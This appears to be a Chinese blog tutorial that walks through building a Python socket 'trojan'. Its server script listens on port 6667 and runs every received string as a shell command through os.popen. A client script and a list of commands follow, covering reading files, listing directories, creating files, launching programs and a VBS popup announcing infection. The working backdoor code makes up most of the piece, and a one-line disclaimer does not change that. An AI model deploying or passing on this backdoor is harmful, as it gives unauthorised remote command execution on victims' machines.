Python Socket实现远程木马弹窗详解

socket通信模块:针对TCP/IP协议簇进行的程序封装,在Windows/Linux均有这样底层模块。Unicode 有多种存储方式,常见的有 UTF-8、UTF-16、UTF-32,它们分别用不同的二进制格式来表示 Unicode 字符如果全部英文或英文与其他文字混合,但英文占绝大部分,用UTF-8就比UTF-16节省了很多空间.而如果全部是中文这样类似的字符或者混合字符中中文占绝大多数.UTF-16就占优势了,可以节省很多空间

编码:

英文多:建议用UTF-8编码(utf-8是使用最多的编码方式,是一种变长字符编码)中文多:建议用UTF-16编码中文:window中文采用的是GBK格式编码

netstat -ant :只显示传输层的数据 TCP,UDP连接,可以用来检查socket服务是否起了

图片[1] - Python Socket实现远程木马弹窗详解 - 尘心网

服务端(server)程序

import socket, os
def attack():
try:
s = socket.socket()
s.bind(('0.0.0.0', 6667)) #   使用缺省地址,所有设备均可访问该服务器的6667端口
s.listen() #对6667端口进行监听
chanel, client = s.accept() #   进入阻塞状态,accept() 返回元组,接受来自客户端的数据,chanel:新的socket对象用于标识出服务器和哪个客户端连接进行通信,  client: 客户端的IP和端口
while True:
receive = chanel.recv(1024).decode()
reply = os.popen(receive).read()
chanel.send(f"命令{receive}的运行结果:\n{reply}".encode())
except:
s.close()
attack()
if __name__ == '__main__':
attack()

客户端(client)程序

import socket
s = socket.socket()
s.connect(('192.168.137.1', 6667))	#192.168.137.1是socket服务器的地址
while True:
sendstr = input("请输入消息:")
s.send(sendstr.encode())
receive = s.recv(1024).decode()
print(f"服务器回复:{receive}")
# s.close()

其他命令执行函数

提示:需要导入 os 模块—— import os

os.system('ipconfig')

os.popen('ipconfig').read()

eval() # 将字符串按照Python代码来执行

该木马程序的基本用法

1、查看文件内容

window

type 文件绝对路径

linux

cat 文件路径

2、查看文件目录

window

dir#查看当前文件路径目录dir 文件路径 #查看指定文件路径目录

linux

ls#查看当前文件路径目录ll#查看当前文件路径目录详细信息ls 文件路径 #查看指定文件路径目录ll 文件路径 #查看指定文件路径目录详细信息

3、创建文件或目录

windows

echo test >> demo.txt #创建一个demo.txt文件,文件内容为 test

linux

mkdir 路径 #创建目录echo test >> demo.txt #创建一个demo.txt文件,文件内容为 test

4、调用windows应用程序

调用计算器

calc.exe

图片[2] - Python Socket实现远程木马弹窗详解 - 尘心网

调用其他引用程序

直接输入应用程序绝对路径

5、调用Windows弹窗

echo msgbox("你中木马了!!") > E:\hi.vbs E:\hi.vbs

图片[3] - Python Socket实现远程木马弹窗详解 - 尘心网

严正声明:本文仅限于技术讨论,严禁用于其他用途。

文档下载:Python Socket实现远程木马弹窗详解.doc文档

THE END
喜欢就支持一下吧